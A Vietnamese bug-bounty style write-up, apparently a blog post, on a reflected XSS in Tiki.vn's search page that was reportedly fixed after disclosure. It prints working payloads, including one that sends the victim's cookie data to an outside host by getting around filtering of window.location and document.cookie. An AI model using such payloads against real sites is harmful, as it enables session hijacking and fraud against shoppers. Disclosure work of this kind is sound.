Đầu tiên thử tìm từ khóa “xss” xem sao. Có 2 đoạn kịch bản cần để ý ở đây:
<script type="application/ld+json"> { "@context": "http://schema.org", "@type": "BreadcrumbList", "itemListElement": [{"@type":"ListItem","position":1,"item":{"@id":"https:\/\/tiki.vn\/","name":"Tiki.vn"}},{"@type":"ListItem","position":2,"item":{"@id":"https:\/\/tiki.vn\/\/search","name":"xss"}}] } </script>
Đoạn đầu thì đã được JSON Encode nên không khai thác được gì. Đoạn 2 có tới 2 cặp “” mà dấu ” chưa được encode. Thử dùng một đoạn javascript xem sao. Đoạn mã này đơn giản là chia nhỏ string ra thành string và object để chèn script ở giữa:
};alert('xss'); ;var a = {cyperspace:
Mình nhận ra là bên tiki đã lọc bỏ window.location và document.cookie nhưng 2 biến location và cookieMatch thì vẫn có thể truy cập được nên mình có payload sau:
}; location=' https://domain.com/'+cookieMatch.input ;var a = {bal:
Với đoạn payload này, mình đã truyền dữ liệu cookie thành công sang máy chủ của mình. Đến công đoạn này thì việc còn lại là social engineering để người khác nhấp vào đường link vào để chôm cookie hay thực hiện lừa đảo gì đó đều được.
Đối với một trang TMĐT (đặc biệt là Tiki) thì lỗi XSS tuy phổ biến nhưng nếu rơi vào tay kẻ có ý đồ xấu thì sẽ gây ra những hậu quả hết sức nghiêm trọng. Mục đích của mình khi tìm kiếm lỗ hổng đó là muốn khiến nền tảng này trở nên an toàn hơn với người dùng. Sau đó bên Tiki Security có cảm ơn mình và đã sửa thành công lỗ hổng.
Nguồn: cyberlances.wordpress.com